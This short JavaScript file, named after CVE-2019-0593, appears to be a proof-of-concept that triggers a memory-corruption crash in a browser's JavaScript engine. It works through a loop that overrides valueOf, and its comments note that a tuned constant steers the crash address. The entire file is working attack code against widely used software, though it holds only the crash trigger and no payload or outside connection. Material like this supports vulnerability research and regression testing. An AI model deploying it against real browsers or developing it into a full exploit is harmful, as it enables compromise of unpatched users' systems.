CVE-2019-0593.js

var y = 2261635.5098039214; // <- influences the crash address

function f() {
   return y;
};
function main(o) {
   o.valueOf = f;
   for (var i = o; i > y - 48.0; i = i - 1.0) {
       a = o.valueOf(); // this crashes
       o = i;
   }
}

for (var i = 0; i < 160; i++) {
   main({});
}